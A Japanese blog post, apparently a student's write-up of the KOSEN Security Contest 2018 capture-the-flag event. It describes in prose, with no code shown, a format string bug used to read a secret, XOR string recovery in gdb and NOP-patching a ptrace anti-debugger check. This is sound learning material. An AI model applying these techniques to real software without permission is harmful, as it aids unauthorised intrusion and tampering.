あと CTF とかは一人で参加するのは厳しいなーととても思いました。一人でやると全部に手を回さなければいけなくなるので得意なジャンルでゴーっと解くことができないのがきつかったです。CTF お友達がほしいです。
KOSENセキュリティコンテスト2018に参加した
小山高専で「おやまようちえん(およ)」というチームで参加しました。mitsu で登録する予定だったのですがタイポして mtisu という名前で登録してしまいました。むてぃすです。
二日間 Jeopardy 形式の問題を解くものでした。二日間ありますが競技時間自体は全体的に少なく大変でした。
弊チームは最終的に 2150 ポイント獲得し 7 位という結果でした。少し残念ですが来年はもっと上位に組み込みたいなーなんて思ってます。Web 問がとても苦手で非常に苦戦したのが悔しかったです。
復習も兼ねて自分が解いた問題を Write-up します
Binary100. まどわされるな!
バイナリが降ってくるのでそれを binwalk にかければ JPEG がくっついてるのがわかります。あとはそれを取り出せばフラグの右半分が手に入るので、普通に実行したらでてくる左半分とくっつければフラグになります。
Binary100. printf
netcat で接続すると secret のアドレスが与えられ、入力ができるようになります。%x とするとスタックの中身がみれるので書式文字列バグがあることがわかります。ASLR が有効なようで secret のアドレスが変わるので Python でコードを書いてそれで secret を読み出せばフラグが手に入ります。
今思ったのですが素晴らしいクソコードですね。
どうでもいいですが Python 難しいです。動的型付け言語にはなかなか慣れられません…
Binary200. XORXOR
降ってきたバイナリを実行しても何も起きずに終了してしまいます。適当に radare2 で逆アセンブルしてみるとどうやら文字列を変換していることがわかります。gdb で開いて文字列を変換する関数を実行し終わった直後にブレークポイントを置きスタックの中を見るとフラグがありました。
Binary250. Simple anti debugger
gdb で動かすとデバッガで動かしていることが検出されてプログラムが終了してしまいます。radare2 で afl を叩いてみると ptrace という文字が見えたので、ptrace で自分自身をトレースし呼び出された回数で検知していることがなんとなく察せます。
detect_debugger という関数を見つけたのでそこを見てみると予想通り ptrace したあと cmp eax, 0xffffffffffffffff して jne しているようです。適当なバイナリエディタで開き ptrace をコールしている部分を全て NOP(0x90) 命令で埋め gdb で起動してみると検知されなくなりました。あとはパスワードなどを聞かれますが適当に飛ばしてフラグがゲットできます。バイナリ楽しいです。好きな問題でした。
Misc 50. 人多杉を見たくない
ググって可用性を英語に翻訳して終わりでした。
最後に
binary がいい感じにできたら途中から Web をやり始めたのですが全然解けませんでした。自分ができない問題に時間をかけすぎてしまったような気がし、配分を間違えたように感じました。Web の勉強をしないと本当に大変だと思ったので精進したいです。
お疲れ様でした!